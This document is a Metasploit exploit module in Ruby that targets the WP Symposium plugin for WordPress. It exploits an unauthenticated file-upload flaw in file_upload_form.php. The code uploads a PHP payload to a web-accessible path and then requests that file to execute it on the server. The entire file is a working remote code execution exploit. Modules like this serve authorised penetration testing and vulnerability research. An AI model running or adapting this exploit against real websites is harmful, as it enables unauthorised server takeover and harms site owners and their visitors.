##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
'Description' => %q{WP Symposium Plugin for WordPress contains a
flaw that allows a remote attacker to execute
arbitrary PHP code. This flaw exists because the
/wp-symposium/server/file_upload_form.php script
does not properly verify or sanitize
user-uploaded files. By uploading a .php file,
the remote system will place the file in a
user-accessible path. Making a direct request to
the uploaded file will allow the attacker to
execute the script with the privileges of the
web server.},
'License' => MSF_LICENSE,
'Author' =>
[
'Claudio Viviani', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['OSVDB', '116046'],
['WPVDB', '7716']
],
'DisclosureDate' => 'Dec 11 2014',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-symposium < 14.12', {}]],
'DefaultTarget' => 0
))
end
def check
check_plugin_version_from_readme('wp-symposium', '14.12')
end
def generate_mime_message(payload, payload_name, directory_name, symposium_url)
data = Rex::MIME::Message.new
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
data
end
def exploit
print_status("#{peer} - Preparing payload")
unique_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{unique_name}.php"
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
symposium_url = normalize_uri(symposium_url, 'index.php')
print_status("#{peer} - Uploading payload to #{payload_url}")
res = send_request_cgi(
'method' => 'POST',
'uri' => symposium_url,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
print_good("#{peer} - Uploaded the payload")
register_files_for_cleanup(payload_name)
print_status("#{peer} - Executing the payload...")
send_request_cgi(
{
'uri' => payload_url,
'method' => 'GET'
}, 5)
print_good("#{peer} - Executed payload")
else
if res.nil?
fail_with(Failure::Unreachable, "No response from the target")
else
vprint_error("#{peer} - HTTP Status: #{res.code}")
vprint_error("#{peer} - Server returned: #{res.body}")
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
end
end
end
